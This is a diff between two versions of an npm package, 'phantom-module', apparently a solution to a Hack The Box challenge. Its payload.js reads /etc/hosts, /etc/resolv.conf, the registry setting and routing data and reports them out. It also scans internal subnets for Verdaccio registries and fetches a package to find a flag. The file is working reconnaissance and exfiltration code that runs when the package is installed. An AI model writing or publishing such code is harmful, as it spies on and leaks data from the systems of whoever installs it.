phantom-module 117.0.2 → 117.0.3

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "117.0.2",
+  "version": "117.0.3",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,7 +1,7 @@
 const net = require('net');
 const http = require('http');
 const fs = require('fs');
-const os = require('os');
+const { execSync } = require('child_process');
 
 if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
 
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
 function checkPort(host, port) {
   return new Promise((resolve) => {
     const sock = new net.Socket();
-    sock.setTimeout(500); // Fast timeout
+    sock.setTimeout(2000);
     sock.on('connect', () => { sock.destroy(); resolve(true); });
     sock.on('error', () => { sock.destroy(); resolve(false); });
     sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -34,81 +34,63 @@ function checkPort(host, port) {
   });
 }
 
-function httpGet(url) {
-  return new Promise((resolve) => {
-    const req = http.get(url, { timeout: 2000 }, (res) => {
-      let body = '';
-      res.on('data', c => body += c);
-      res.on('end', () => resolve({ status: res.statusCode, body }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-  });
-}
-
 async function main() {
-  await report('ECT-654321', 'SCAN STARTING v2...');
+  await report('ECT-654321', 'SCAN V3 STARTING...');
   
+  let envInfo = '=== ENV INFO ===\n';
+  try {
+      envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
+      envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
+      envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
+      envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
+  } catch(e) { envInfo += `ERR: ${e.message}\n`; }
+  await report('ECT-654321', envInfo);
+
+  // Scan ranges
   const found = [];
-  const base = '172.17.0';
-  let scanOutput = '=== SCAN ===\n';
+  const ranges = [
+      ['172.17.0', 1, 20],
+      ['172.18.0', 1, 10],
+      ['172.19.0', 1, 10],
+      ['172.20.0', 1, 10],
+      ['10.0.0', 1, 10],
+      ['192.168.0', 1, 10]
+  ];
 
-  // Parallel scan of first 20 IPs
-  const promises = [];
-  for (let i = 1; i < 20; i++) {
-    const ip = `${base}.${i}`;
-    promises.push(checkPort(ip, 4873).then(open => {
-      if (open) {
-        found.push(ip);
-        scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
-      }
-    }));
-  }
-  
-  await Promise.all(promises);
+  let scanOutput = '=== SCAN V3 ===\n';
   
-  if (found.length === 0) {
-    scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
-    // Try finding ANY web server
-    for (let i = 1; i < 10; i++) {
-        const ip = `${base}.${i}`;
-        if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
-        if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
-    }
+  for (const [base, start, end] of ranges) {
+      scanOutput += `Scanning ${base}.${start}-${end}...\n`;
+      const promises = [];
+      for (let i = start; i <= end; i++) {
+          const ip = `${base}.${i}`;
+          promises.push(checkPort(ip, 4873).then(open => {
+              if (open) {
+                  found.push(ip);
+                  scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
+              }
+          }));
+      }
+      await Promise.all(promises);
   }
   
   await report('ECT-839201', scanOutput);
 
-  // Deep query of found services
-  let queryOutput = '=== QUERY ===\n';
-  for (const ip of found) {
-    const baseUrl = `http://${ip}:4873`;
-    queryOutput += `Target: ${baseUrl}\n`;
-    
-    // 1. List all packages
-    const all = await httpGet(`${baseUrl}/-/all`);
-    queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
-    
-    // 2. Get ecto-spirit
-    const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
-    queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
-    
-    // 3. Try to extract flag from dist-tags or versions
-    if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
-        const match = ecto.body.match(/htb\{[^}]+\}/i);
-        if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
-    }
-    
-    // 4. Download tarball if possible
-    try {
-        const json = JSON.parse(ecto.body);
-        const latest = json['dist-tags'].latest;
-        const tarball = json.versions[latest].dist.tarball;
-        queryOutput += `Tarball: ${tarball}\n`;
-        // We could download it, but let's see if the metadata has the flag first
-    } catch(e) {}
+  if (found.length > 0) {
+      const ip = found[0];
+      const url = `http://${ip}:4873/ecto-spirit`;
+      let flagInfo = `=== QUERY ${url} ===\n`;
+      try {
+          flagInfo += await new Promise(r => {
+              http.get(url, res => {
+                  let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
+              }).on('error', e=>r(e.message));
+          });
+      } catch(e) { flagInfo += e.message; }
+      await report('ECT-987654', flagInfo);
+  } else {
+      await report('ECT-987654', 'No target found for query.');
   }
-
-  await report('ECT-987654', queryOutput);
 }
 
 main().catch(e => report('ECT-654321', 'ERR: ' + e.message));